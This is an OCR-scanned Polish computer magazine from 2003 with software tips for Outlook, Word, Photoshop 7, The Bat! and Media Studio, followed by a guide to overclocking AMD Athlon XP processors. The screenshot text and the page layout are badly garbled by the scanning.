p rowadzgc intensywng kore-
spondencie elektroniczng
musimy liczy¢ sie z duzg liczba
przychodzacych wiadomosci
pocztowych. Jezeli odebrany list
jest mato wazny, zapewne nic zte-
o sie nie stanie, jezeli na niego
nie odpowiemy. Gdy odebrana in-
formacja jest bardzo istotna, a nie
mamy czasu zredagowac¢ odpo-

B Skrzynka odbioreza - Microsoft Outlook
Ei Edvcls pdok Ukkeons bacoediia ko Pomog

przypominajgce o koniecznosci
udzielenia odpowiedzi na wazng

cAnew - | @ | 03 ¥ | Gookoweds B Odpomeds wezysthn W Proediy dussd | Y

Lista Fokderdw x| tD/wlglod Tomat
+ TED Feldery aschute B 0l : Lubiriz Coobunjewbi (2 sloment i)
3 Cutiock ra deid - [Foidery asobiste] | 5] 0d £ tules {
g Craernd: a RLukasz Crekajewskl vtk
Tnlo (1) = tukiasz Czekajewskl zabezpieczcie plz
e 3m«l > = Rukasz Crokajowsk Fe: Re{2): 0 atlasies samochodoveym ¢ China
¥ ontalty a Rubase Crekajewshd hommpudery mah
by mh a [Ty — weyriki arkisty « e cac do rrenut
= =1 Ly Caakapd it il Ar A A it
zm‘:‘d""" n—— B tukaseCrekajewsk  post
o (3 Usumeke SRR v %) = tukasz Czekajewskl  Fw: pomoc
A5 wess robocn ! _h tukasr Crekajewskl Inwentaryzacls oprogramomanks
@ Wrsiane slementy =Y Lubasz Crekajewsh Rt b
E Zadaria e Lubasz Crekajewsh kemp
& € Foldary asckiste a Rubase Crekajewshd Gt
a ks Cankapmuks kot g simeienn

wiedzi, powinnismy zdefiniowac
sobie przypomnienie i odpowie-
dzie¢ w wolnym czasie. Ekspert
pokaze, jak szybko zdefiniowac
alarm, ktory w okreslonym mo-
mencie przypomni nam o zalegtej
korespondencji.

1. Przeciggamy myszq wazng wia-

A

@ Ekspert radzi |

ozemy przesung¢ termin
i zdefiniowa¢ kolejne przypo-

mnienie @ . Pamietajmy jednak, ze

i zabezpieczcie plz

[ = pREr N |

- Termin

B Ldvcin wdok Witew [ormast Maogdoia Sece Pomeg
Ak Wydaraenie cybfre... | P Zapned yrestrin,..

Pl X -

Kopiujemy
blok tekstu
K o,

sprawa. Zaznaczamy myszq frag-
ment dokumentu i uzywamy odpo-
wiedniej kombinacji klawiszy, by
skopiowac tekst do schowka lub

g0 wycigc, a nastepnie wklei¢

w odpowiednie migjsce. Problem
pojawia sig wtedy, gdy interesuje
nas informacja znajdujaca sie po-
Srodku strony. Domy$Inie zazna-
czenie myszkg powoduje selekcje
catych linii dokumentu od lewego

do prawego marginesu e
Co zrohi¢, jezeli chcemy skopio-

wac kolumne danych ze $rodka stro-

ny? Nic prostszego, Word wyposa-

zony zostat w odpowiednig funkcie.

Wystarczy weisngé klawisz I}

i zaznaczyC blok tekstu e-:

domos¢ ¢ do foideru kalendarza e Oorproié skt |
""""""" i Temat:  [raberpueccoe pir
w Qutlooku @ . s | P e
o () e 505 | o[ o] i g
2. Na ekranie pojawia sie okno S s agtmins o | <| w0 ]
_Nowego terminu, Widzimy W nim et 4 & e o o] @ romcomite [y 5]
naszg wiadomosé ¢ . Definiujemy !
czas przypomnienia P | Zapisujemy ;;.;:mm: ;lm;"[i:%ﬁwk:.-.“-m.m.k-;qkuuqu:unmul Hl
Zmlany °: _[lr:':'m: ;r::;-:ng:::,Iziumuk Sulegewski, Paalr Kidrel
3 o sysitier dostiep do nagrywsarks - dagene adprwiedne zerwalens do lagowsnia nie Daran Users, @ o
= Po uptywie okreslonego czasu
. e . ity || katogern... ||
na ekranie pojawi sie okno monitu - —
Panstwo Stlolica Kontynent
Polska
Afrvks
Azja
Panstwo Stolica Kontynent
Polska Europa
Egipt Afivka
Japonia Azja
l
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PORADY PHOTOSHOP
PhOtOShOp 7 T R L )
N "
Zatamanie Swiatta
Z wykly gradient (przejScie 3. Upewniamy sig, ze opcja e-----
tonalne kolorow), uzyty ja- 1 jest zaznaczona, po czym tworzymy y
ko tfo w projekcie, moze nie spra- i gradient, weiskajac lewy przycisk

wia¢ dostatecznie duzego wrazenia
wizualnego. Czasem jest zbyt sto-
nowany, a my akurat potrzebujemy
czego$ agresywniejszego z duzym
natezeniem kolorow. Do stworzenia
bardziej interesujgcego tta postuzy-
my sie wiadciwoscig warstwy nazy-
wang Trybem mieszania wypetnie-
nia (Blending mode).

1. W projekcie sprawdzamy, czy
paleta kolorow jest ustawiona ja-

2. Wybieramy narzedzie (]

myszy W prawym gérnym rogu pro-
jektu i przeciagajac kursor do rogu

lewego dolnego o .

4. Tworzymy nowg warstwe, kli-
kajac na [¥] w palecie warstw, a na-
stepnie [Mew Layer...|. W nowo
otwartym okienku zmieniamy opcje
Blending mode ze standardowej na

IR Lumninosity |

i w jego preferencjach ¢ palete ko-

lorow o .

Photoshop 7

Grupy warstw

c zZasem przy tworzeniu pro-
jektu zdarza sie, ze zbyt duza
liczba warstw jest przeszkoda

w swobodnej pracy — tracimy

w nich orientacje. O ile jeszcze dla
nas samych nie jest wielkim proble-
mem odnalezienie odpowiedniej
warstwy, to dla obcej osoby, kidra
pracuje na naszym pliku, nie jest to
tatwe zadanie. Photoshop 7 wprowa-
dza porzadek dzieki grupom warstw.

Umieszczanie w grupach przypomi-
na do ztudzenia porzadkowanie pli-
kow na dysku w katalogach. Musi-
my stworzy¢ grupe, nadac jej od-
powiedni kolor dla lepszej orientacji
i umiesci¢ w Srodku warstwy. Eks-
pert przedstawi to na przyktadzie
prostego przycisku e . Zakfadamy,

1. Podczas tworzenia nowej war-

stwy wybieramy [Mew Layer Sek... ]

2. W nowym okienku wpisujemy

New Layer S=t x|

nazwe grupy ¢ . Dobieramy dla niej

__________________

i dowolny kolor ¢ i zatwierdzamy,

Sreen

Through | Opacty: [ILU ]||%

Idnde: | Pass

Skréty w Photoshopie

Ctrl + Spacja i Lewy przycisk myszy - przyblizanie widoku

Ctrl + Alt + Spacja i Lewy przycisk myszy - oddalanie widoku

Ctrl + Y - pozwala na podglad efektu pracy w palecie kolorow
CMYK podczas pracy w RGB

Ctrl +1, 2, 3 - podglad kanatéw, Ctrl + * - powr6t do ponownego
wy$wietlania wszystkich

Ctrl+ Tab - przetaczanie pomigdzy otwartymi projektami

Ctrl + 0 - dopasowanie widoku okna do 100 procent widocznosci.

Ctrl + kliknigcie mysza w palecie warstw na jeden z ele-
mentow projektu — selekcja calej warstwy

Ctrl + D - anulowanie selekcji

obrazu

Spacja + Lewy przycisk myszy - przesuwanie przyblizonego

aktualnie kursor

Ctrl + kliknigcie lewym przyciskiem myszy (przy wybra-
nym narzedziu [~ |) - wybor warstwy, nad ktdrg znajduje sie

CZERWIEC - LIPIEC 2003 [t ool

klikajac na e .

3.w palecie z warstwami moze-
my zaobserwowac pustg grupe,
ktora wiasnie stworzylismy:

I - oo
4. Dodamy do niej warstwy
przycisku. Wciskamy lewy przycisk
myszy na pierwszej z warstw
i trzymajac go, przenosimy jg nad
grupe. W ten sam sposob przecig-
gamy wszystkie elementy. Po wy-
konaniu tego kroku grupa bedzie
wygladata w ten sposob:

malizowac.

5.Na nowej warstwie ponownie
tworzymy gradient. Postepujemy
tak jak w punkcie 3 — tym razem
jednak zaczynamy od lewego gor-
nego rogu, Kierujac sie w strong

Jest to oczywiscie bardzo prosty
efekt zatamywania sie kolorow. Przy
tak bogatych opcjach programu
rézne ustawienia trybu mieszania,
wypetniania, katéw i rodzajow gra-
dientow oraz palety kolorow beda

prawego dolnego. Efektrpowinien

dawaty zupetnie inne efekty, na
przyktad e

Photoshop 6, 7

Kopiowanie

z darza sie, ze na pewnej
wzorcowej warstwie stworzy-
my kilka efektow (na przyktad Outer
Glow, Drop Shadow) z nietypowymi
parametrami, a nastepnie chcemy je
zastosowac w innych warstwach.

W Photoshopie w wersji 6 lub wyz-
szej 1o bardzo proste zadanie.

1. Klikamy prawym przyciskiem
myszy na warstwie z efektami

wilasciwosci

i Z rowijajgcego sie menu wybie-

ramy opcje [Copv Laver Style],

2. Nastepnie odnajdujemy war-
stwe, do ktorej chcemy przenies¢
atrybuty, i rowniez klikamy na nig
prawym przyciskiem myszy. Wy-
bieramy opcje [Paste Layer Style]
Ten krok powtarzamy dla kazdej
warstwy, ktora ma zawiera¢ opra-
cowane wczesniej efekty.

Photoshop 7

Czyszczenie pamieci

c zesto w trakcie pracy z duzy-
mi plikami Photoshop potrafi
bardzo spowolni¢ dziafanie peceta.
Mozemy odzyskac czeS¢ zasobow
systemowych poprzez oproznienie
pamieci tymczasowej projektu, nad
ktorym pracujemy. W tym celu wy-
bieramy z menu pozycje [Edit]
a nastepnie [Fatge]. Mozemy zde-
cydowac, co usunac z pamieci:
[J ostatnio wykonang akcje
[J obraz ze schowka
(] wszystkie wykonane i zapa-
mietane w historii operacje
[ wszystkie czynnosci jedno-
czesnie (0 —00).

Zwolniony w ten sposob ob-
Szar pamigci moze siega¢ na-
wet kilkudziesieciu MB.

] Undo

| dlipboard
[1] Hiskories
0 Al

@ Uwaga! \

0 usunieciu danych nie bedzie-

my mogli do nich wraci¢. Warto
wiec zastanowic sie, czy na przyktad
obraz przechowywany w schowku
nie bedzie nam juz potrzebny.




Tworzymy

3. Widentyczny sposeb, ponizej,
wstawiamy zmienng okre$lajaca
miejsce, w ktorym zostanie usta-
wiony kursor w oknie redagowania

Sza b I 0 ny "odpowiedzi ¢ (znajduje sie ona
. o | W menu TeksE).
odpowiedzi ==
Witaj *OFROMNAME
HEURSOH
p rogram pocztowy The Bat!
zdobywa coraz wigkszg po- 4. Korzystajgc z menu opisanego

pulamos¢. Nie kazdemu jednak od-  w punkcie 2, umieszczamy w sza-

—==== Original Message -----
From: "waldzik" <waldzikdplusnet.pl>
Tn: "redakja K5" <redakeja@ks-ekapert.opls
Sent: Wedneoday, April 16, 2003 11:30 AN
Subject: Usiug:l terminalowe
- —
> Witam !!
>
> W ostanim KS-ckspert - Nr 22003 (3)- znalaziem artykui pt."Pecet na
> odlegiosé".Bardzo uvieszyi mnie fakt ,ze w kofcu bedg sig mogi
> dAnuiedzie® cregnd KONKTATNAQN NA TAN TEMAT.
>

powiada sposab, w jaki tworzy on
odpowiedzi na przychodzgce listy.

blonie odpowiedzi niezbedne

Ulead Media Studio 6.5
PrzejScia pomiedzy
fragmentami filmu

E dycja amatorskich filmow nie
jest tak skomplikowana, jak
mogtoby sie wydawac. Wystarczy
odpowiednie oprogramowanie. Eks-
pert pokaze, jak za pomocg Media
Studio stworzy¢ efektowne przejscia
pomigdzy fragmentami filmu.

1. Po uruchomieniu programu Kli-
kamy prawym przyciskiem myszy

na pole é iz menu kontekstowego

duje przesunigcie suwaka o jedng
klatke.

4 . Nalinii czasu pojawit sie

znacznik ¢ . W tym miejscu prze-
tniemy nasz film na dwie czesci.
Z listwy wybieramy narzgdzie e .

G = R e |

BEE

e N e L

[T BT A T

wybieramy ¢ . Odnajdujemy na
dysku i fadujemy do aplikacji na-
grany przez nasz wezesniej film.

5. Klikamy na linii znacznika.
Film zostat podzielony na dwie
czesci. Informujg o tym

dwie klatki widoczne
W polu edycyjnym e---—

Uzytkownicy przyzwyczajeni do for-
' matu znanego z Outlooka czy Outlook

Ekspressa ¢ moga dostosowac sza-

blon odpowiedzi programu The Bat!

do swoich potrzeb. The Bat! ma

w tym zakresie duzo wigksze mozli-

wosci niz aplikacje Microsoftu.

we ¢ . Nie zapomnijmy umiescic
anekw 1, przed fragmentem opi-
sujacym nagféwek & . Tre¢ listu
oryginalnego zostanie oznaczona
automatycznie po wstawieniu
Zmiennej e

Witag HOFRUMHAME

.‘Zlﬁ."mﬁ
1. Zmenu wybieramy ~ FPrrezdrawies

“FromFHane
maillo HFrumddds

[tascimasci.. ). Klikamy na plus

przy pozycji ¢, a nastepnie na \

Wiadomosd oryginalna.

=ds > 0d: #OFromFHame [#OFROMADDR]
e DdpowiedZ|, > ] Upstans: “ODATEEN #OTIMELONG
3 Do: %OTONAKE
a1 rvebency eigte pray cxtimerin » Temat: HOSUDJ
< Bk e " Phervszs Bets #uotes -

Zaznaczamy widoczny w oknie Nowa wiadomo$¢ — odpowiedz

CT v w0 0:00:00.00 00:00:02,
1 5ec.
@ G- a Yidea File.,, <€
Audia File.. B
3 O F Woice File..,

2 . Dosuwamy czarne zaznacze-

cyjnego ¢ i klikamy mysza. Na-
stepnie klikamy na i zme-
nu wybieramy [Fitin Window]. Dzie-
ki temu caty film bedzie widoczny

Wybieramy narzedzie
[EE], chwytamy mysza
fragment filmu widocz- { L/

ny z prawej strony i przeciggamy
do pola edycyjnego e .

BEAR Tw§ EEEMER YT hCEE NNE
mnnﬁmaw EW:“ eWIEI‘ em:a ewzw EUI‘I: " 0%
F
1‘) L
-l ¥ 2 W
Baw

na ekranie e-:

00: 00:02.00

po prawej stronie szablon odpowie-
dzi i kasujemy go. Za chwi-
le utworzymy nowy wzo-

1ZeC. Zaznaczamy opcje ¢ .

bedzie wygladata teraz tak e .

Wicn) Robert Szyazka

-

ok

Tordraviam

B3
mailtoirssysckalinteria.pl

Modyfikacia danych konta -

= Wiad wryginalna-----
> 0d: Robert Szyezka [rezyezkadkomputerswiat.pl]
3 Wystana: Friday, April 25, 2003 14:02:31

> Do: mkaczmarczykikomputerswiat.pl

> Temal: Tesl

..... #) Scwery

----- Efl Dyspozytor wiadomodci
12 Upcie dodatkowe

Fliki 1 kataloog

Szailiny

D dwigk.

..... B Sie¢

=| Motatka

= Witaj
> HMam prodbg. Odpowiedz na tege maila.

@ Ekspert radzi |

wiedzi ¢ , a nastepnie klikamy pra-
wym przyciskiem myszy. Z menu,

. . G aproponowany przez Eksper- s . o ) - )
ktore sie rozwinie, wyblergmy . B ciskow . Kazde kliknigcie powo- i na pole polmledzy.fralg— LS
i [#%OFRCMMAME] W oknie szablo- przyktad. The Bat! ma duzo wigk- | e . mentami filmu e i klika- .
nu pojawia sig zmienna okre$lajaca sze mozliwosci i potrafi tworzy¢ - my mysza. W oknie, kidre} |74 2=
nadawce pierwotnego listu. szablony nie t\/'kflf f;dpowiedzirk ale sie pojawi, wybieramy
rowniez nowego listu czy przeka- ;
_)5:“""7’“"’“’ zywanej dalej wiadomosci. Szablo- ] przycisk IGK.
B L ny mogg by¢ réwniez powigzane o
Eas i z wpisami do ksigzki adresowej. . ! — 8 = Zapisujemy nowy
ity ek it ’ Dzieki temu mamy mozliwos¢ au- e - film. Z menu wybie-
R e tomatycznego generowania innego A = | ramy i [¥idea File...| Media
Szablon 7 k. At formatu wiadomosci dla kazdego i . R
Wit lktebstony.. d N : : .. Studio zakoduje i zapisze na dysku
i adresu z naszych kontaktow. T e e nasze daieto RS TS m=
____________ A____A ' ’

6. Aby mozna byto wykonac
przej$cie, fragmenty muszg na sie-
bie nachodzi¢. W tym celu frag-
ment z dolnego pola przesuwamy

HRAR T3 mmEmER| A
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3. 0dnajdujemy miejsce, w kto-
rym konczy sig jedna scena, a za-
czyna druga. Pomiedzy te sceny
wstawimy efektowne przejscie.
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CPU Identification 5
| freeware g

odkrecaniem nazywa-
my ustawianie wyz-
szych niz nominalne
parametrow pracy poszczegolnych
komponentow komputera. Najcze-
Sciej podkreca sie procesory,
az tych najbardziej podatne na takie
dziatanie sg ukfady AMD Athlon XP
Maja one odblokowany mnoznik
i duzy zapas mocy.

Wszystkie podtgczone do ptyty
gftownej komponenty komputera
dziataja z okreslong szybkoscig wy-

Oznaczenie Czestotliwosé  Czestotliwo$é

procesora zegara FSB

1700+ 1466 MHz 133 MHz

| g | 1800+ 1533 MHz 133 MHz
| 1900+ 1600 MHz 133 MHz

| 3| 2000+ 1666 MHz 133 MHz
Q| 2100+ 1738MHz  133MH:z
O | 2200+ 1800 MHz 133 MHz
S | 2400+ 2000 MHz 133 MHz
<>. 2500+ 1833 MHz 166 MHz
= | 2600+ 2133 MHz 133 MHz
"E' 2600+  2075MHz 166 MHz

® | 2700+ 2166 MHz 166 MHz
g 2800+ 2250 MHz 166 MHz
2800+ 2083 MHz 166 MHz

3000+ 2166 MHz 166 MHz
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razong w megahercach. Najbardziej
zZnaczacym parametrem pracy ukfa-
dow jest szyna FSB. Kazdy kompo-
nent na ptycie w jakis sposob od-
nosi sie do wartosci jej taktowania.
Wszystkie ukfady majg takze swoje
nominalne napiecia zasilajgce.

Typy Athlondw

Athlon XP moze obecnie wyste-
powac w dwdch wersjach rdzenia:
Thoroughbred lub Barton. Proce-
Sory z pierwszym z nich pracujg

Maksymalna Nazwa
temperatura pracy rdzenia
90 stopni Thoroughbred
90 stopni Thoroughbred
90 stopni Thoroughbred
90 stopni Thoroughbred
90 stopni Thoroughbred
85 stopni Thoroughbred
85 stopni Thoroughbred
85 stopni Barton
85 stopni Thoroughbred
85 stopni Thoroughbred
85 stopni Thoroughbred
85 stopni Thoroughbred
85 stopni Barton
85 stopni Barton

redkoéc

d naturalne, Zze zawsze chcemy mieé najszybszy procesor do-
apny na rynku. Niewielu jednak sta¢ na jego kupno. Dlatego
pert pokaze, jak przyspieszy¢ procesory serii AMD Athlon XP

z szyng FSB rowng 133 MHz,
a trzy najszybsze obecnie modele
2600+, 2700+ i 2800+ z magi-
stralg 166 MHz, z czego pierwszy
z nich jest dostepny w obydwu wer-
sjach. Napiecie zasilajace tych pro-
cesorow wynosi 1,5V do 1,65V
w zaleznoSci od czestotliwosci pra-
cy. llos¢ pamieci podrecznej typu
1.2 t0 256 KB.
Nowoscig na ryn-
ku sg Athlony
zrdze-
niem
Barton.
Gtowng cechg, ja-
ka je odroznia od starszych
rdzeni, to podwojona ilo$¢ pamieci
cache L2, czyli 512 KB. Obecnie
dostepne sg trzy modele ukfadow
Z rdzeniem Barton: 2500+,
2800+ i 3000+. Wszystkie pracu-
ja z szyng FSB taktowang 166 MHz.

‘ -

Jaka piyta
do podkrecania?
Parametrami, ktore mozemy
zmienia¢ podczas podkrecania, sg
szybkos¢ szyny FSB, wartos¢
mnoznika procesora, taktowanie
pamieci RAM, napiecie zasilajgce
dla procesora i oddzielnie dla pa-
mieci RAM oraz dzielniki dla magi-
strali AGP i PCI. Ptyta gtéwna, ktdra
ma mozliwo$¢ regulacji wszystkich

tych parametrw, jest wrecz wyma-
rzonym sprzetem do podkrecania.
Jednak je$li mozemy regulowac
tylko trzy pierwsze ustawienia, takze
jesteSmy w komfortowej sytuacji.

Do dzieta

Predkos¢ procesora jest iloczy-
nem predko$ci szyny FSB i mnozni-
ka procesora. Dlatego podnoszac
warto$¢ ktoregos z nich, zwigkszymy
szybkos¢ taktowania CPU. Wigkszg
korzyS¢ osiggniemy, podnoszac
szybkos¢ taktowania FSB, poniewaz
wiedy wzrasta taktowanie magistral
dla kart rozszerzen, co objawia sie

Ideatem jest plyta
gtéwna z mozliwo-
scia regulacji
napieé, mnoznikow
i czestotliwosci

wigkszym transferem do kart PCI

i AGP a wigc powoduije takze wzrost
ich szybkosci pracy. Warto jednak
wiedzie¢, ze karty PCl i graficzne sg
bardziej wrazliwe na podnoszenie
standardowych parametrow. Z po-
mocg przychodzi nam jednak mozli-
wosSC regulacji dzielnikow. Jesli
zwiekszamy na przykfad FSB ze

133 MHz na 166 MHz, wtedy uzy-
wajgc standardowego dzielnika 1/4
dla szyny PCI, otrzymamy taktowa-
nie 41,5 MHz zamiast standardo-
wych 33 MHz. Jest to bardzo duza
zmiana i moze powodowac niesta-
bilnos¢ komputera. Jezeli jednak

Athlony s3 ulubionym obiektem
podkrecania ze wzgledu na
odlokowany mnoznik

i zapas mocy

zmienili-
bysmy dzielnik
na 1/5, to przy prze-
taktowaniu procesora magi-
strale PCI i AGP pozostang przy
swoich nominalnych parametrach.
Podkrecanie nie polega jednak na

@zpieczeﬁstwﬂ

odkrecanie komputera jest
w wiekszosci wypadkow bez-
pieczne, ale trzeba mie¢ $wiado-
mosc¢ tego, ze ustawiajac wyzsze
parametry pracy procesora, jesli
nie zapewnimy mu odpowiedniego
chtodzenia, moze doprowadzi¢ do
jego przegrzania lub uszkodzenia.
szystkie opisane przez
Eksperta w niniejszym
artykule czynnosci wykonujemy
na wilasna odpowiedzialnosé.




ustawieniu taktowania na jak najwyz-
szg warto$c, ale na stopniowym
zwigkszaniu szybkosci szyny FSB.
Po kazdym zwiekszeniu predkosci
magistrali, na przyktad o 5 MHz, po-
winni$my uruchomic¢ Windows. Je-
zeli system wystartuje bez proble-
mow, mozemy sprobowac podnies¢
FSB jeszcze wyzej. Jezeli komputer
sie nie wigczy po kolejnym podnie-
sieniu parametrow pracy, 0znacza
to, Ze wyzej juz nie uda nam sie go
podkrecic. Nalezy zresetowac BIOS,
postepujgc zgodnie z instrukcjg ob-
stugi, i ustawic ostatnie prawidtowe
parametry pracy.

Jezeli nasz procesor nie chce sig
mocno podkrecic, mozemy sprobo-
wac innej metody. Polega ona na
tym, ze podnoszgc szybko$¢ magi-
strali FSB, obnizamy warto$¢ mnoz-
nika. Nie zyskujemy w ten sposob
dodatkowych megahercow, ale
Zwiekszamy przepustowos¢ wszyst-
kich magistral wewnetrznych kom-
putera, co takze zaowocuje zwigk-
szeniem szybkoSci jego pracy.

Kolejng rzecza, jakg mozemy
zZwiekszac, sg napiecia zasilajace.

nasza ptyta gtowna nie radzi sobie
z nowymi wartosciami. Czasem
zdarza sie, ze mimo prawidtowych
ustawien w BIOS-ie komputer po-
kazuje inne wartosci. Dzieje sie tak
Z powodu nieprzystosowania chip-
setu ptyty gtéwnej dla takich para-
metréw lub biedéw w BIOS-ie. Pro-
blem moze rozwigzac jego aktuali-
zacja do najnowszej wersji.
Nastepnym krokiem powinno
by¢ przeprowadzenie testow stabil-
no$ci Srodowiska 3D. Ekspert pole-
ca do tego celu program 3D Mark
2001SE. Jezeli komputer sie nie
zawiesi podczas testu przeprowa-
dzanego przez te aplikacje, moze-
my sprawdzi¢ stabilno$¢ komputera
za pomocg ulubiongj gry. Jezeli
wystgpig problemy, bedziemy zmu-
szeni zmniejszy¢ nieco taktowanie
naszego procesora i powtorzy¢
jeszcze raz catg procedure testowa.
Kolejnym testem, jaki warto
przeprowadzic, jest tak zwane wy-
grzewanie procesora. Polega ono
na maksymalnym obcigzeniu ukfa-
du skomplikowanymi obliczeniami.
Spowoduije to, ze jego temperatura

Po kazdym zwiekszeniu predkosci powinni-
smy uruchomié Windows. Jezeli system wy-
startuje, mozemy sprobowac podkrecac dalej

Podniesienie napigcia dla procesora
00,05V czy pamigci 0 0,1V (do
2,6 V) pozwoli nam wyzej podkreci¢
procesor. Nalezy jednak pamietac,
ze Zbyt duze zwigkszenie tej warto-
$ci uszkodzi CPU. Teoretycznie bez-
pieczne jest podniesienie napiecia
dla procesora 0 0,1 V. W ekstremal-
nych sytuacjach takze taka manipu-
lacja moze by¢ niebezpieczna.

Testy stahilnosci

Gdy juz ustalimy, do jakiej gra-
nicy podkreca sie nasz Athlon, po-
winni$my sprawdzi¢ stabilno$c je-
go dziatania. W tym celu nalezy

zacznie wzrasta¢ az do pewnego
statego poziomu (zaleznego od wy-
dajnosci ukfadu chtodzacego). Taki
test powinien trwac kilka godzin —
jesli przez ten czas komputer sie
nie zawiesi, mozemy uznac nowg
konfiguracje za stabilna. Do tego
typu testu Ekspert poleca program
Hot CPU Tester.

Oczywiscie przeprowadzenie tych
trzech testow nie daje nam gwaran-
cji, ze komputer bedzie zawsze sta-
bilny. Czasem moze sig zdarzy¢, ze
pecet sie zawiesi nawet przy mnigj
wymagajacych aplikacjach. Moze to

by¢ zwigzane na przy-

obcigzy¢ kompu- —— ktad

ter duza ilo- : A“ ' & zpie-
$cig obli- o / I/ taktowa-
czen. a/f"/" niem ma-
Jednak - gistrali

w pierwszej kolejno-
$ci sprawdzmy pro-
gramem CPU Identi-
fication (mozna go
znalez¢ na ptycie CD
dotgczonej do Eksper-
ta), czy system widzi takie
same parametry procesora, jak
ustawilismy w BIOS-ie. Jezeli s
one niezgodne, oznacza to, ze albo
nie zapisaliSmy nowych ustawien
przy wychodzeniu z BIOS-u, albo

Najwydaj-
niejsze radia-
tory sa w ca-
_____tosci wykonane
z miedzi @. Spe-
; cjalny ksztatt listkéw
zapewnia szybkie odprowa-
dzenie ciepta z powierzchni jadra proce-
sora. Nie mniej wazny jest potezny, wy-
sokoobrotowy wentylator, ktdry jest w
stanie przepompowat odpowiednio duzo
powietrza na radiator

i

Jak podkrecac¢ - krok po kroku

kspert zaprezentuje, jakie opcje

trzeba zmieni¢ w BIOS-ie, aby
podkreci¢ procesor i inne komponen-
ty na przyktadzie ptyty MSI K77266
Pro2-A i procesora Athlon XP 1700+
(1466 MHz).

AHIBIOS HEW SETUP UTILITY - UERSION 3.31a

} fidvanced BIDS Features
b Advanced Chipset Features

b Fouer Mamagesent Features Load High Performance Defaults

1. Po wiaczeniu komputera weho-
dzimy do BIOS-u. Po wejsciu do na-
rzedzia setup na ekranie powinnismy
zobaczy¢ @:
Uzywajac strzatek, ustawiamy kur-__ |
sor na pozydji @ i naciskamy fEeT,

w celu potwierdzenia wyboru.

¥ PHE/PCT Configurations Load BIOS Setup Defaults

AMIBIDS NEL TUP UTILITY

Fregen Itage Control

Disabled
150 MHz 1
fAuto
Auto
fAuto
fAuto

Spread Spectrum

CPU F s lock

CPU Ratio

CPU Ucore (U)

DDR Voltage (V)
Uoltage (U)

2.7 wyswietlonych opcji wybiera-
my @. W czerwonym okienku moze-
my wybrac Zgdang szybkos¢ szyny
FSB @. Zmieniamy ja za pomocg
strzatek. W innych BIOS-ach moze
tu pojawic sie miejsce na wpisanie
liczby megahercow lub lista mozli-
wych opgji.

3. Nastepnym krokiem mosze by¢
regulacja mnoznika procesora. Po
wybraniu @ i nacisnieciu Enter poja-
wi sig lista mozliwych wartosci @.
Wybieramy jedng z nich strzatkami

i zatwierdzamy. lloczyn mnoznika

i szyny FSB okresli nam predkos¢
procesora.

tage Control

4. Nastepng opcja, ktdrg mozemy
procesora. Wybieramy @iwnc
okienku okreslamy napiecie @. Pa-
mietajmy, ze ustawienie zbyt wyso-
kiego napiecia moze uszkodzi¢ pro-
cesor.

UVERSION 3.2
[

[UP UTILITY -

5. W przypadku niestabilnogci na-
szego peceta mozemy podwyzszy¢ 7
napiecie dla pamieci RAM. Wybiera-
my @ i ustawiamy na przykfad @.

czy¢ moduty pamieci! AMIBIOS WEW SETUP UTILITY - VERSION 3.]

Advanced Chipset Features

6. Teraz wychodzimy poziom wyzej,

} DRAM Timing Control
b AGP Timing Control
PCI Delay Transaction

W nastepnym podmenu mozemy
ustawic wigksze taktowanie dla pa-

Enabled
AHIBIOS NEW SETUP UTILITY VERSION 3.31a

DRAH Timing Control

predkos¢ FSB+33 MHz.
Posiadajac procesor dziatajacy na L e
FSB 133 MHz, dobrze jest zamonto-! “ [l u HCLKS:
wac pamigci PC2700 lub szybsze.
W przypadku przetaktowywania pa-
mie¢ nie bedzie nas ograniczata - 5 e
moze sie zdarzyc¢, ze procesor moze- itra
my jeszcze podkrecic, ale RAM juz
nie nadaza.

[ Dptions

grzewania sig procesora PC wytaczy
sie. Po zapisaniu ustawien warto

jeszcze raz wejs¢ do BIOS-u i spraw-
dzi¢ w sekcji @, czy procesor pracuje

iv
I Temperature

o
Power Off

Disabled
komputer przy kazdym uruchomie- Enabled
niu bedzie kontrolowat, czy wiatrak
pracuje. Jesli nie, pecet natychmiast

sie wytaczy.

EETTL] CZERWIEC - LIPIEC 2003



PORADY PODKRECANIE ATHLONA

pracg dysku twardego czy z bteda-
mi komunikacji procesora z pamie-
cig RAM.

Chtodzenie - waina rzecz
Bardzo wazng, jesli nie najwaz-
niejszg rzeczq jest zapewnienie
podkrecanemu procesorowi odpo-
wiednio wydajnego chfodzenia.
Uktad pracujgcy z wyzsza niz nomi-
nalna czestotliwoscig wytwarza wie-
cej ciepfa, ktore nalezy odprowadzi¢
Z powierzchni jego jadra.
Wybierajac cooler, musimy zna-
lez¢ kompromis pomiedzy jego wy-
dajno$cig a wytwarzanym hatasem.
Nie zapewni nam dobrego chtodze-
nia tani ukfad chtodzacy z radiato-
rem wykonanym z aluminium. War-
to pomyslec o kupnie radiatora wy-
konanego z miedzi, a przynajmnie;

wysoka wydajnos¢ nie idzie w pa-
1ze 7 cichg pracq — aby wiatrak
mogt pompowac duzo powietrza,
musi obracac sie bardzo szybko
(na przykfad 7000 obrotéw na mi-
nute), przez co bardzo hatasuje.
Rozwigzaniem tego problemu sg
wiatraki o Srednicy 80 i wiecej mi-
limetrow. Ich predkoS¢ obrotowa
jest mniejsza niz szescdziesigcio-
milimetrowych wentylatoréw, a wy-
dajnos¢ podobna.

Wybdr uktadéw chtodzacych
jest bardzo duzy, ale nie wszyst-
kie sg godne polecenia do wyko-
rzystania w podkrgcanych pece-
tach. Do czotéwki firm produkujg-
cych wydajne coolery mozemy
zaliczy¢ Thermaltake, CoolerMa-
ster czy GlobalWin. Produkujg
one zestawy wydajne, niestety za-
zwyczaj bardzo

akie Athlony najlepiej podkrecaé? | giosne. Rozwiaza-

d czego zalezy, czy dany proce-
sor sie podkreci i o ile megaher-
cow? Jest to kwestia przypadku, gdyz
dwa identyczne uktady moga mie¢
bardzo rézne wyniki podkrecania. To,
e sasiadowi uda sie jego Athlona
1700+ podkreci¢ do poziomu 2800+,
a nam tylko na 2000+, jest sytuacjg
catkowicie normalna. To zalezy tylko

i wytacznie od wiasciwosci fizycznych
konkretnego egzemplarza. Jedyng
pewng rzecza w kwestii podkrecania

procesorow jest to, ze lepiej przetak-
towujg uktady o nizszym taktowaniu
z dang wersjg jadra. Na przyktad pro-
cesor AMD Athlon (rdzen Thunder-
bird) o taktowaniu 1333 MHz jest jed-
nym z koncowych procesorow z tej
serii i raczej stabo sie podkreci. Za to
Athlon XP 1500+ (rdzer Palomino),
ktory jest taktowany z taka samg cze-
stotliwoscia, podkreci sie bardzo do-
brze, gdyz jest pierwszym z serii pro-
cesorem i ma duzy zapas mocy.

